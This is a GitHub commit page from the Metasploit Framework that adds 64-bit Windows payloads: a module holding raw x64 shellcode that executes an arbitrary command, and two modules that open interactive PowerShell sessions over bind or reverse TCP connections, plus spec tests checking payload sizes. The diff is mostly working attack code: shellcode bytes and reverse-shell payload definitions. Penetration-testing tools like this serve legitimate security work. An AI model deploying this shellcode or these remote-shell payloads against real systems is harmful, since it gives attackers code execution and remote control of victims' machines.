Skip to content

Commit 1f11cd5

Browse files
author
HD Moore
committed
Lands rapid7#5446, support for 64-bit native powershell payloads
2 parents 0557d21 + 20b605e commit 1f11cd5

File tree

4 files changed

+207
-0
lines changed

4 files changed

+207
-0
lines changed

‎lib/msf/core/payload/windows/exec_x64.rb

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
5+
###
6+
#
7+
# Common command execution implementation for Windows.
8+
#
9+
###
10+
11+
module Payload::Windows::Exec_x64
12+
13+
include Msf::Payload::Windows
14+
include Msf::Payload::Single
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Windows x64 Execute Command',
19+
'Description' => 'Execute an arbitrary command (Windows x64)',
20+
'Author' => [ 'sf' ],
21+
'License' => MSF_LICENSE,
22+
'Platform' => 'win',
23+
'Arch' => ARCH_X86_64,
24+
'Payload' =>
25+
{
26+
'Offsets' =>
27+
{
28+
'EXITFUNC' => [ 229, 'V' ]
29+
},
30+
'Payload' =>
31+
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
32+
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
33+
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
34+
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
35+
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
36+
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
37+
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
38+
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
39+
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
40+
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
41+
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
42+
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
43+
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" +
44+
"\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" +
45+
"\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" +
46+
"\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
47+
"\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
48+
}
49+
))
50+
register_options(
51+
[
52+
OptString.new('CMD', [ true, "The command string to execute" ]),
53+
], self.class )
54+
end
55+
56+
def generate
57+
return super + command_string + "\x00"
58+
end
59+
60+
def command_string
61+
return datastore['CMD'] || ''
62+
end
63+
64+
end
65+
66+
end
67+

‎modules/payloads/singles/windows/x64/powershell_bind_tcp.rb

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/payload/windows/exec_x64'
8+
require 'msf/core/payload/windows/powershell'
9+
require 'msf/base/sessions/powershell'
10+
require 'msf/core/handler/bind_tcp'
11+
12+
###
13+
#
14+
# Extends the Exec payload to add a new user.
15+
#
16+
###
17+
module Metasploit3
18+
19+
CachedSize = 1778
20+
21+
include Msf::Payload::Windows::Exec_x64
22+
include Rex::Powershell::Command
23+
include Msf::Payload::Windows::Powershell
24+
25+
def initialize(info = {})
26+
super(update_info(info,
27+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
28+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
29+
'Author' =>
30+
[
31+
'Ben Turner', # benpturner
32+
'Dave Hardy' # davehardy20
33+
],
34+
'References' =>
35+
[
36+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
37+
],
38+
'License' => MSF_LICENSE,
39+
'Platform' => 'win',
40+
'Arch' => ARCH_X86_64,
41+
'Handler' => Msf::Handler::BindTcp,
42+
'Session' => Msf::Sessions::PowerShell,
43+
))
44+
45+
# Register command execution options
46+
register_options(
47+
[
48+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
49+
], self.class)
50+
# Hide the CMD option...this is kinda ugly
51+
deregister_options('CMD')
52+
end
53+
54+
#
55+
# Override the exec command string
56+
#
57+
def command_string
58+
generate_powershell_code("Bind")
59+
end
60+
end

‎modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/payload/windows/exec_x64'
8+
require 'msf/core/payload/windows/powershell'
9+
require 'msf/base/sessions/powershell'
10+
require 'msf/core/handler/reverse_tcp_ssl'
11+
12+
###
13+
#
14+
# Extends the Exec payload to add a new user.
15+
#
16+
###
17+
module Metasploit3
18+
19+
CachedSize = 1786
20+
21+
include Msf::Payload::Windows::Exec_x64
22+
include Msf::Payload::Windows::Powershell
23+
include Rex::Powershell::Command
24+
25+
def initialize(info = {})
26+
super(update_info(info,
27+
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
28+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
29+
'Author' =>
30+
[
31+
'Ben Turner', # benpturner
32+
'Dave Hardy' # davehardy20
33+
],
34+
'References' =>
35+
[
36+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
37+
],
38+
'License' => MSF_LICENSE,
39+
'Platform' => 'win',
40+
'Arch' => ARCH_X86_64,
41+
'Handler' => Msf::Handler::ReverseTcpSsl,
42+
'Session' => Msf::Sessions::PowerShell,
43+
))
44+
45+
# Register command execution options
46+
register_options(
47+
[
48+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
49+
], self.class)
50+
# Hide the CMD option...this is kinda ugly
51+
deregister_options('CMD')
52+
end
53+
54+
#
55+
# Override the exec command string
56+
#
57+
def command_string
58+
generate_powershell_code("Reverse")
59+
end
60+
end

‎spec/modules/payloads_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3827,6 +3827,26 @@
38273827
reference_name: 'windows/x64/meterpreter_reverse_tcp'
38283828
end
38293829

3830+
context 'windows/x64/powershell_bind_tcp' do
3831+
it_should_behave_like 'payload cached size is consistent',
3832+
ancestor_reference_names: [
3833+
'singles/windows/x64/powershell_bind_tcp'
3834+
],
3835+
dynamic_size: false,
3836+
modules_pathname: modules_pathname,
3837+
reference_name: 'windows/x64/powershell_bind_tcp'
3838+
end
3839+
3840+
context 'windows/x64/powershell_reverse_tcp' do
3841+
it_should_behave_like 'payload cached size is consistent',
3842+
ancestor_reference_names: [
3843+
'singles/windows/x64/powershell_reverse_tcp'
3844+
],
3845+
dynamic_size: false,
3846+
modules_pathname: modules_pathname,
3847+
reference_name: 'windows/x64/powershell_reverse_tcp'
3848+
end
3849+
38303850
context 'windows/x64/shell/bind_tcp' do
38313851
it_should_behave_like 'payload cached size is consistent',
38323852
ancestor_reference_names: [

0 commit comments

Comments
 (0)